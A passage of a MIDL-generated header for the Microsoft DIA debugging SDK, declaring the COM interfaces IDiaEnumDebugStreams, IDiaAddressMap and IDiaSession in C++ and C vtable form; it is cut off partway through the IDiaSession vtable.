[retval][out] */ IDiaEnumDebugStreamData **stream) = 0; virtual HRESULT STDMETHODCALLTYPE Next( /* [in] */ ULONG celt, /* [out] */ IDiaEnumDebugStreamData **rgelt, /* [out] */ ULONG *pceltFetched) = 0; virtual HRESULT STDMETHODCALLTYPE Skip( /* [in] */ ULONG celt) = 0; virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0; virtual HRESULT STDMETHODCALLTYPE Clone( /* [out] */ IDiaEnumDebugStreams **ppenum) = 0; }; #else /* C style interface */ typedef struct IDiaEnumDebugStreamsVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaEnumDebugStreams * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaEnumDebugStreams * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaEnumDebugStreams * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( IDiaEnumDebugStreams * This, /* [retval][out] */ IUnknown **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( IDiaEnumDebugStreams * This, /* [retval][out] */ LONG *pRetVal); /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( IDiaEnumDebugStreams * This, /* [in] */ VARIANT index, /* [retval][out] */ IDiaEnumDebugStreamData **stream); HRESULT ( STDMETHODCALLTYPE *Next )( IDiaEnumDebugStreams * This, /* [in] */ ULONG celt, /* [out] */ IDiaEnumDebugStreamData **rgelt, /* [out] */ ULONG *pceltFetched); HRESULT ( STDMETHODCALLTYPE *Skip )( IDiaEnumDebugStreams * This, /* [in] */ ULONG celt); HRESULT ( STDMETHODCALLTYPE *Reset )( IDiaEnumDebugStreams * This); HRESULT ( STDMETHODCALLTYPE *Clone )( IDiaEnumDebugStreams * This, /* [out] */ IDiaEnumDebugStreams **ppenum); END_INTERFACE } IDiaEnumDebugStreamsVtbl; interface IDiaEnumDebugStreams { CONST_VTBL struct IDiaEnumDebugStreamsVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaEnumDebugStreams_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaEnumDebugStreams_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaEnumDebugStreams_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaEnumDebugStreams_get__NewEnum(This,pRetVal) \ ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) #define IDiaEnumDebugStreams_get_Count(This,pRetVal) \ ( (This)->lpVtbl -> get_Count(This,pRetVal) ) #define IDiaEnumDebugStreams_Item(This,index,stream) \ ( (This)->lpVtbl -> Item(This,index,stream) ) #define IDiaEnumDebugStreams_Next(This,celt,rgelt,pceltFetched) \ ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) #define IDiaEnumDebugStreams_Skip(This,celt) \ ( (This)->lpVtbl -> Skip(This,celt) ) #define IDiaEnumDebugStreams_Reset(This) \ ( (This)->lpVtbl -> Reset(This) ) #define IDiaEnumDebugStreams_Clone(This,ppenum) \ ( (This)->lpVtbl -> Clone(This,ppenum) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaEnumDebugStreams_INTERFACE_DEFINED__ */ /* interface __MIDL_itf_dia2_0000_0017 */ /* [local] */ struct DiaAddressMapEntry { DWORD rva; DWORD rvaTo; } ; extern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0017_v0_0_c_ifspec; extern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0017_v0_0_s_ifspec; #ifndef __IDiaAddressMap_INTERFACE_DEFINED__ #define __IDiaAddressMap_INTERFACE_DEFINED__ /* interface IDiaAddressMap */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaAddressMap; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("B62A2E7A-067A-4ea3-B598-04C09717502C") IDiaAddressMap : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressMapEnabled( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propput] */ HRESULT STDMETHODCALLTYPE put_addressMapEnabled( /* [in] */ BOOL NewVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_relativeVirtualAddressEnabled( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propput] */ HRESULT STDMETHODCALLTYPE put_relativeVirtualAddressEnabled( /* [in] */ BOOL NewVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_imageAlign( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propput] */ HRESULT STDMETHODCALLTYPE put_imageAlign( /* [in] */ DWORD NewVal) = 0; virtual HRESULT STDMETHODCALLTYPE set_imageHeaders( /* [in] */ DWORD cbData, /* [size_is][in] */ BYTE *pbData, /* [in] */ BOOL originalHeaders) = 0; virtual HRESULT STDMETHODCALLTYPE set_addressMap( /* [in] */ DWORD cData, /* [size_is][in] */ struct DiaAddressMapEntry *pData, /* [in] */ BOOL imageToSymbols) = 0; }; #else /* C style interface */ typedef struct IDiaAddressMapVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaAddressMap * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaAddressMap * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaAddressMap * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressMapEnabled )( IDiaAddressMap * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propput] */ HRESULT ( STDMETHODCALLTYPE *put_addressMapEnabled )( IDiaAddressMap * This, /* [in] */ BOOL NewVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddressEnabled )( IDiaAddressMap * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propput] */ HRESULT ( STDMETHODCALLTYPE *put_relativeVirtualAddressEnabled )( IDiaAddressMap * This, /* [in] */ BOOL NewVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_imageAlign )( IDiaAddressMap * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propput] */ HRESULT ( STDMETHODCALLTYPE *put_imageAlign )( IDiaAddressMap * This, /* [in] */ DWORD NewVal); HRESULT ( STDMETHODCALLTYPE *set_imageHeaders )( IDiaAddressMap * This, /* [in] */ DWORD cbData, /* [size_is][in] */ BYTE *pbData, /* [in] */ BOOL originalHeaders); HRESULT ( STDMETHODCALLTYPE *set_addressMap )( IDiaAddressMap * This, /* [in] */ DWORD cData, /* [size_is][in] */ struct DiaAddressMapEntry *pData, /* [in] */ BOOL imageToSymbols); END_INTERFACE } IDiaAddressMapVtbl; interface IDiaAddressMap { CONST_VTBL struct IDiaAddressMapVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaAddressMap_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaAddressMap_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaAddressMap_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaAddressMap_get_addressMapEnabled(This,pRetVal) \ ( (This)->lpVtbl -> get_addressMapEnabled(This,pRetVal) ) #define IDiaAddressMap_put_addressMapEnabled(This,NewVal) \ ( (This)->lpVtbl -> put_addressMapEnabled(This,NewVal) ) #define IDiaAddressMap_get_relativeVirtualAddressEnabled(This,pRetVal) \ ( (This)->lpVtbl -> get_relativeVirtualAddressEnabled(This,pRetVal) ) #define IDiaAddressMap_put_relativeVirtualAddressEnabled(This,NewVal) \ ( (This)->lpVtbl -> put_relativeVirtualAddressEnabled(This,NewVal) ) #define IDiaAddressMap_get_imageAlign(This,pRetVal) \ ( (This)->lpVtbl -> get_imageAlign(This,pRetVal) ) #define IDiaAddressMap_put_imageAlign(This,NewVal) \ ( (This)->lpVtbl -> put_imageAlign(This,NewVal) ) #define IDiaAddressMap_set_imageHeaders(This,cbData,pbData,originalHeaders) \ ( (This)->lpVtbl -> set_imageHeaders(This,cbData,pbData,originalHeaders) ) #define IDiaAddressMap_set_addressMap(This,cData,pData,imageToSymbols) \ ( (This)->lpVtbl -> set_addressMap(This,cData,pData,imageToSymbols) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaAddressMap_INTERFACE_DEFINED__ */ #ifndef __IDiaSession_INTERFACE_DEFINED__ #define __IDiaSession_INTERFACE_DEFINED__ /* interface IDiaSession */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaSession; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("2F609EE1-D1C8-4E24-8288-3326BADCD211") IDiaSession : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_loadAddress( /* [retval][out] */ ULONGLONG *pRetVal) = 0; virtual /* [id][helpstring][propput] */ HRESULT STDMETHODCALLTYPE put_loadAddress( /* [in] */ ULONGLONG NewVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_globalScope( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual HRESULT STDMETHODCALLTYPE getEnumTables( /* [out] */ IDiaEnumTables **ppEnumTables) = 0; virtual HRESULT STDMETHODCALLTYPE getSymbolsByAddr( /* [out] */ IDiaEnumSymbolsByAddr **ppEnumbyAddr) = 0; virtual HRESULT STDMETHODCALLTYPE findChildren( /* [in] */ IDiaSymbol *parent, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findChildrenEx( /* [in] */ IDiaSymbol *parent, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findChildrenExByAddr( /* [in] */ IDiaSymbol *parent, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findChildrenExByVA( /* [in] */ IDiaSymbol *parent, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findChildrenExByRVA( /* [in] */ IDiaSymbol *parent, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findSymbolByAddr( /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ enum SymTagEnum symtag, /* [out] */ IDiaSymbol **ppSymbol) = 0; virtual HRESULT STDMETHODCALLTYPE findSymbolByRVA( /* [in] */ DWORD rva, /* [in] */ enum SymTagEnum symtag, /* [out] */ IDiaSymbol **ppSymbol) = 0; virtual HRESULT STDMETHODCALLTYPE findSymbolByVA( /* [in] */ ULONGLONG va, /* [in] */ enum SymTagEnum symtag, /* [out] */ IDiaSymbol **ppSymbol) = 0; virtual HRESULT STDMETHODCALLTYPE findSymbolByToken( /* [in] */ ULONG token, /* [in] */ enum SymTagEnum symtag, /* [out] */ IDiaSymbol **ppSymbol) = 0; virtual HRESULT STDMETHODCALLTYPE symsAreEquiv( /* [in] */ IDiaSymbol *symbolA, /* [in] */ IDiaSymbol *symbolB) = 0; virtual HRESULT STDMETHODCALLTYPE symbolById( /* [in] */ DWORD id, /* [out] */ IDiaSymbol **ppSymbol) = 0; virtual HRESULT STDMETHODCALLTYPE findSymbolByRVAEx( /* [in] */ DWORD rva, /* [in] */ enum SymTagEnum symtag, /* [out] */ IDiaSymbol **ppSymbol, /* [out] */ long *displacement) = 0; virtual HRESULT STDMETHODCALLTYPE findSymbolByVAEx( /* [in] */ ULONGLONG va, /* [in] */ enum SymTagEnum symtag, /* [out] */ IDiaSymbol **ppSymbol, /* [out] */ long *displacement) = 0; virtual HRESULT STDMETHODCALLTYPE findFile( /* [in] */ IDiaSymbol *pCompiland, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSourceFiles **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findFileById( /* [in] */ DWORD uniqueId, /* [out] */ IDiaSourceFile **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findLines( /* [in] */ IDiaSymbol *compiland, /* [in] */ IDiaSourceFile *file, /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findLinesByAddr( /* [in] */ DWORD seg, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findLinesByRVA( /* [in] */ DWORD rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findLinesByVA( /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findLinesByLinenum( /* [in] */ IDiaSymbol *compiland, /* [in] */ IDiaSourceFile *file, /* [in] */ DWORD linenum, /* [in] */ DWORD column, /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInjectedSource( /* [in] */ LPCOLESTR srcFile, /* [out] */ IDiaEnumInjectedSources **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE getEnumDebugStreams( /* [out] */ IDiaEnumDebugStreams **ppEnumDebugStreams) = 0; virtual HRESULT STDMETHODCALLTYPE findInlineFramesByAddr( /* [in] */ IDiaSymbol *parent, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInlineFramesByRVA( /* [in] */ IDiaSymbol *parent, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInlineFramesByVA( /* [in] */ IDiaSymbol *parent, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInlineeLines( /* [in] */ IDiaSymbol *parent, /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInlineeLinesByAddr( /* [in] */ IDiaSymbol *parent, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInlineeLinesByRVA( /* [in] */ IDiaSymbol *parent, /* [in] */ DWORD rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInlineeLinesByVA( /* [in] */ IDiaSymbol *parent, /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInlineeLinesByLinenum( /* [in] */ IDiaSymbol *compiland, /* [in] */ IDiaSourceFile *file, /* [in] */ DWORD linenum, /* [in] */ DWORD column, /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInlineesByName( /* [in] */ LPCOLESTR name, /* [in] */ DWORD option, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findAcceleratorInlineeLinesByLinenum( /* [in] */ IDiaSymbol *parent, /* [in] */ IDiaSourceFile *file, /* [in] */ DWORD linenum, /* [in] */ DWORD column, /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findSymbolsForAcceleratorPointerTag( /* [in] */ IDiaSymbol *parent, /* [in] */ DWORD tagValue, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findSymbolsByRVAForAcceleratorPointerTag( /* [in] */ IDiaSymbol *parent, /* [in] */ DWORD tagValue, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findAcceleratorInlineesByName( /* [in] */ LPCOLESTR name, /* [in] */ DWORD option, /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE addressForVA( /* [in] */ ULONGLONG va, /* [out] */ DWORD *pISect, /* [out] */ DWORD *pOffset) = 0; virtual HRESULT STDMETHODCALLTYPE addressForRVA( /* [in] */ DWORD rva, /* [out] */ DWORD *pISect, /* [out] */ DWORD *pOffset) = 0; virtual HRESULT STDMETHODCALLTYPE findILOffsetsByAddr( /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findILOffsetsByRVA( /* [in] */ DWORD rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findILOffsetsByVA( /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInputAssemblyFiles( /* [out] */ IDiaEnumInputAssemblyFiles **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInputAssembly( /* [in] */ DWORD index, /* [out] */ IDiaInputAssemblyFile **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInputAssemblyById( /* [in] */ DWORD uniqueId, /* [out] */ IDiaInputAssemblyFile **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE getFuncMDTokenMapSize( /* [out] */ DWORD *pcb) = 0; virtual HRESULT STDMETHODCALLTYPE getFuncMDTokenMap( /* [in] */ DWORD cb, /* [out] */ DWORD *pcb, /* [size_is][out] */ BYTE *pb) = 0; virtual HRESULT STDMETHODCALLTYPE getTypeMDTokenMapSize( /* [out] */ DWORD *pcb) = 0; virtual HRESULT STDMETHODCALLTYPE getTypeMDTokenMap( /* [in] */ DWORD cb, /* [out] */ DWORD *pcb, /* [size_is][out] */ BYTE *pb) = 0; virtual HRESULT STDMETHODCALLTYPE getNumberOfFunctionFragments_VA( /* [in] */ ULONGLONG vaFunc, /* [in] */ DWORD cbFunc, /* [out] */ DWORD *pNumFragments) = 0; virtual HRESULT STDMETHODCALLTYPE getNumberOfFunctionFragments_RVA( /* [in] */ DWORD rvaFunc, /* [in] */ DWORD cbFunc, /* [out] */ DWORD *pNumFragments) = 0; virtual HRESULT STDMETHODCALLTYPE getFunctionFragments_VA( /* [in] */ ULONGLONG vaFunc, /* [in] */ DWORD cbFunc, /* [in] */ DWORD cFragments, /* [size_is][out] */ ULONGLONG *pVaFragment, /* [size_is][out] */ DWORD *pLenFragment) = 0; virtual HRESULT STDMETHODCALLTYPE getFunctionFragments_RVA( /* [in] */ DWORD rvaFunc, /* [in] */ DWORD cbFunc, /* [in] */ DWORD cFragments, /* [size_is][out] */ DWORD *pRvaFragment, /* [size_is][out] */ DWORD *pLenFragment) = 0; virtual HRESULT STDMETHODCALLTYPE getExports( /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE getHeapAllocationSites( /* [out] */ IDiaEnumSymbols **ppResult) = 0; virtual HRESULT STDMETHODCALLTYPE findInputAssemblyFile( /* [in] */ IDiaSymbol *pSymbol, /* [out] */ IDiaInputAssemblyFile **ppResult) = 0; }; #else /* C style interface */ typedef struct IDiaSessionVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaSession * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaSession * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaSession * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_loadAddress )( IDiaSession * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propput] */ HRESULT ( STDMETHODCALLTYPE *put_loadAddress )( IDiaSession * This, /* [in] */ ULONGLONG NewVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_globalScope )( IDiaSession * This, /* [retval][out] */ IDiaSymbol **pRetVal); HRESULT ( STDMETHODCALLTYPE *getEnumTables )( IDiaSession * This, /* [out] */ IDiaEnumTables **ppEnumTables); HRESULT ( STDMETHODCALLTYPE *getSymbolsByAddr )( IDiaSession * This, /* [out] */ IDiaEnumSymbolsByAddr **ppEnumbyAddr); HRESULT ( STDMETHODCALLTYPE *findChildren )( IDiaSession * This, /* [in] */ IDiaSymbol *parent, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( IDiaSession * This, /* [in] */ IDiaSymbol *parent, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( IDiaSession * This, /* [in] */ IDiaSymbol *parent, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( IDiaSession * This, /* [in] */ IDiaSymbol *parent, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( IDiaSession * This, /* [in] */ IDiaSymbol *parent, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolByAddr )( IDiaSession * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ enum SymTagEnum symtag, /* [out] */ IDiaSymbol **ppSymbol); HRESULT ( STDMETHODCALLTYPE *findSymbolByRVA )( IDiaSession * This, /* [in] */ DWORD rva, /* [in] */ enum SymTagEnum symtag, /* [out] */ IDiaSymbol **ppSymbol); HRESULT ( STDMETHODCALLTYPE *findSymbolByVA )( IDiaSession * This, /* [in] */ ULONGLONG va, /* [in] */ enum SymTagEnum symtag, /* [out] */ IDiaSymbol **ppSymbol); HRESULT ( STDMETHODCALLTYPE *findSymbolByToken )( IDiaSession * This, /* [in] */ ULONG token, /* [in] */ enum SymTagEnum symtag, /* [out] */ IDiaSymbol **ppSymbol); HRESULT ( STDMETHODCALLTYPE *symsAreEquiv )( IDiaSession * This, /* [in] */ IDiaSymbol *symbolA, /* [in] */ IDiaSymbol *symbolB); HRESULT ( STDMETHODCALLTYPE *symbolById )( IDiaSession * This, /* [in] */ DWORD id, /* [out] */ IDiaSymbol **ppSymbol); HRESULT ( STDMETHODCALLTYPE *findSymbolByRVAEx )( IDiaSession * This, /* [in] */ DWORD rva, /* [in] */ enum SymTagEnum symtag, /* [out] */ IDiaSymbol **ppSymbol, /* [out] */ long *displacement); HRESULT ( STDMETHODCALLTYPE *findSymbolByVAEx )( IDiaSession * This, /* [in] */ ULONGLONG va, /* [in] */ enum SymTagEnum symtag, /* [out] */ IDiaSymbol **ppSymbol, /* [out] */ long *displacement); HRESULT ( STDMETHODCALLTYPE *findFile )( IDiaSession * This, /* [in] */ IDiaSymbol *pCompiland, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSourceFiles **ppResult); HRESULT ( STDMETHODCALLTYPE *findFileById )( IDiaSession * This, /* [in] */ DWORD uniqueId, /* [out] */ IDiaSourceFile **ppResult); HRESULT ( STDMETHODCALLTYPE *findLines )( IDiaSession * This, /* [in] */ IDiaSymbol *compiland, /* [in] */ IDiaSourceFile *file, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findLinesByAddr )( IDiaSession * This, /* [in] */ DWORD seg, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findLinesByRVA )( IDiaSession * This, /* [in] */ DWORD rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findLinesByVA )( IDiaSession * This, /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findLinesByLinenum )( IDiaSession * This, /* [in] */ IDiaSymbol *compiland, /* [in] */ IDiaSourceFile *file, /* [in] */ DWORD linenum, /* [in] */ DWORD column, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInjectedSource )( IDiaSession * This, /* [in] */ LPCOLESTR srcFile, /* [out] */ IDiaEnumInjectedSources **ppResult); HRESULT ( STDMETHODCALLTYPE *getEnumDebugStreams )( IDiaSession * This, /* [out] */ IDiaEnumDebugStreams **ppEnumDebugStreams); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( IDiaSession * This, /* [in] */ IDiaSymbol *parent, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( IDiaSession * This, /* [in] */ IDiaSymbol *parent, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( IDiaSession * This, /* [in] */ IDiaSymbol *parent, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( IDiaSession * This, /* [in] */ IDiaSymbol *parent, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( IDiaSession * This, /* [in] */ IDiaSymbol *parent, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( IDiaSession * This, /* [in] */ IDiaSymbol *parent, /* [in] */ DWORD rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( IDiaSession * This, /* [in] */ IDiaSymbol *parent, /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByLinenum )( IDiaSession * This, /* [in] */ IDiaSymbol *compiland, /* [in] */ IDiaSourceFile *file, /* [in] */ DWORD linenum, /* [in] */ DWORD column, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineesByName )( IDiaSession * This, /* [in] */ LPCOLESTR name, /* [in] */ DWORD option, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findAcceleratorInlineeLinesByLinenum )( IDiaSession * This, /* [in] */ IDiaSymbol *parent, /* [in] */ IDiaSourceFile *file, /* [in] */ DWORD linenum, /* [in] */ DWORD column, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( IDiaSession * This, /* [in] */ IDiaSymbol *parent, /* [in] */ DWORD tagValue, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( IDiaSession * This, /* [in] */ IDiaSymbol *parent, /* [in] */ DWORD tagValue, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findAcceleratorInlineesByName )( IDiaSession * This, /* [in] */ LPCOLESTR name, /* [in] */ DWORD option, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *addressForVA )( IDiaSession * This, /* [in] */ ULONGLONG va, /* [out] */ DWORD *pISect, /* [out] */ DWORD *pOffset); HRESULT ( STDMETHODCALLTYPE *addressForRVA )( IDiaSession * This, /* [in] */ DWORD rva, /* [out] */ DWORD *pISect, /* [out] */ DWORD *pOffset); HRESULT ( STDMETHODCALLTYPE *findILOffsetsByAddr )( IDiaSession * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findILOffsetsByRVA )( IDiaSession * This, /* [in] */ DWORD 